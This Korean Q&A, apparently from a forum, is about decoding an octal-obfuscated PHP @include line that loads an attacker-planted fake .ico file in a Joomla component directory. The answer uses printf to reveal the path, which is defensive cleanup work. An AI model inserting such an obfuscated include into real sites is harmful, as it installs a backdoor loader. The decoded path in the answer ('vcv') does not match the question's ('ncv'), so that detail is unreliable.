PHP 파일에서 다음과 같은 줄을 검색하는 bash 스크립트가 있습니다.
@include "\057var/\167ww/n\143v/ad\155inis\164rato\162/com\160onen\164s/co\155_spp\141gebu\151lder\057.9e7\064214f\056ico";
유니코드 문자 코드를 리터럴 문자로 디코딩하는 방법이 필요합니다. 이렇게 하면 공격자가 만든 가짜 아이콘을 찾을 수 있습니다.
유니코드 문자를 디코딩하기 위해 bash에서 무엇을 사용할 수 있습니까?
답변1
매우 간단한 해결책(사용 가능한 경우)은 printf를 사용하는 것입니다.
printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '
내가 필요한 걸 줘
4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";